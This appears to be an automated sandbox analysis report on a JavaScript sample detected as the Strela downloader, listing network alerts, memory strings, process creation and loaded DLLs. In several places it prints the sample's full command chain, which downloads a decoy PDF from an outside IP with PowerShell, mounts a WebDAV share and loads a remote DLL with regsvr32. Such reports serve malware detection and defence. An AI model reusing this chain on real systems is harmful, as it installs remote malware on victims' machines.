ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2110630177.00000274EE5FE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2108882055.00000274EE5E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2171332403.000002D10D86C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171332403.000002D10D838000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171332403.000002D10D88F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2171332403.000002D10D86C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/C3
Source: svchost.exe, 00000009.00000002.3409282632.00000158B4400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2170582095.00000158B41E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6024, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2609231882173488714.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5864:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f003z2km.eqm.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2609231882173488714.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2609231882173488714.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1636,i,9349983815023827133,12440704141624935878,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1636,i,9349983815023827133,12440704141624935878,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
